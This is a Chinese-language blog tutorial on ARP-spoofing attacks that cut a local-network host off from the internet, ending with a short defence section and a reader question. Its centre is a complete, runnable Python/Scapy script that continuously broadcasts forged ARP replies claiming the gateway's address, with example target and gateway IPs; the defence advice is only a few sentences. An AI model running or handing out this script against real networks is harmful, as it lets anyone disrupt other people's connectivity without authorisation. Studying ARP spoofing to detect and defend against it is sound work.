背景

最近事情比较忙,读者反应的几篇教程都没有出,趁着这个周末把环境搭建了一下,今天出ARP断网攻击的实现与预防,剩下的ARP监控攻击。模拟游戏封闭辅助的。这些都只能放到后面了。

原理

下面来说一下ARP断网攻击的原理:

① ARP是工作在局域网的,局域网中的通信主要是通过MAC地址,IP

② 操作系统中有个ARP表,通过这张表,来对应IP和MAC地址。

③ 局域网中的电脑通过接收广播包,更新自身的ARP表。

④ 如果有一个“攻击者”,不停的对“受害”主机发送ARP广播包,内容是将网关的MAC地址,替换成自己或者其他不存在的。

⑤ “受害主机”需要上网时,通过ARP表查找网关的信息。拿到网关的MAC和IP地址。将上网的数据发送到“攻击者”或者不存在的主机上。

⑥ 如果“攻击者”不回数据,也就是arp断网攻击了。

演示

首先看下受害主机的ARP表:

攻击者攻击代码如下:

from scapy.all import ARP, Ether, sendp
import time


def arp_disconnect(target_ip, gateway_ip, interface):
    """
    发送伪造ARP应答包,使目标主机断网
    :param target_ip: 目标主机IP
    :param gateway_ip: 网关IP
    :param interface: 攻击主机的网卡接口(如"以太网"、"WLAN",可通过ipconfig查看)
    """
    try:
        # 构造ARP应答包:告诉目标主机"网关IP对应的MAC是攻击主机的MAC"
        # op=2表示ARP应答包,psrc是网关IP,pdst是目标IP,hwdst是目标主机的MAC(设为广播MAC ff:ff:ff:ff:ff:ff可简化)
        arp_packet = ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff")
        # 封装以太网帧(目标MAC设为广播,确保目标能收到)
        ether_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / arp_packet

        print(f"开始向 {target_ip} 发送伪造ARP包,伪装成网关 {gateway_ip}...")
        print("按 Ctrl+C 停止攻击")

        # 循环发送数据包(每秒10次,持续欺骗目标)
        while True:
            sendp(ether_frame, iface=interface, verbose=False)  # sendp用于发送二层帧
            time.sleep(0.1)

    except KeyboardInterrupt:
        print("\n攻击已停止")


if __name__ == "__main__":
    TARGET_IP = "192.168.0.114"  # 目标主机IP(例如手机、另一台电脑的IP)
    GATEWAY_IP = "192.168.0.1"  # 网关IP(路由器IP,可通过ipconfig查看"默认网关")
    INTERFACE = "WLAN"  # 攻击主机的网卡接口(Windows下可通过"网络连接"查看名称)

    arp_disconnect(TARGET_IP, GATEWAY_IP, INTERFACE)

程序运行截图如下:

此时查看下ARP表:

可见,关于网关192.168.0.1相的MAC地址已更换。

看下Wireshark抓包情况。

攻击者关于arp的包:

可见不停的在发广播包,并且,内容为替换192.168.0.1的MAC地址。

查看下受害者的Wireshark抓包。

如何防护

可以使用现成的产品,如火绒。

也可以自己写个程序,进行防护,原理很简单。

一般情况下ARP频率不会太高,但攻击者为了使受害者的ARP包替换。他的频率是很高的,差不多是10s,甚至更快。只需要监控这类包就可以了。

问题

下面提出1个问题,知道的读者朋友,可以留言为不太清楚的朋友进行解答。

为什么ARP发送广播包时,需要指定受害主机的IP地址呢?

知道的朋友可以留言。

更多推荐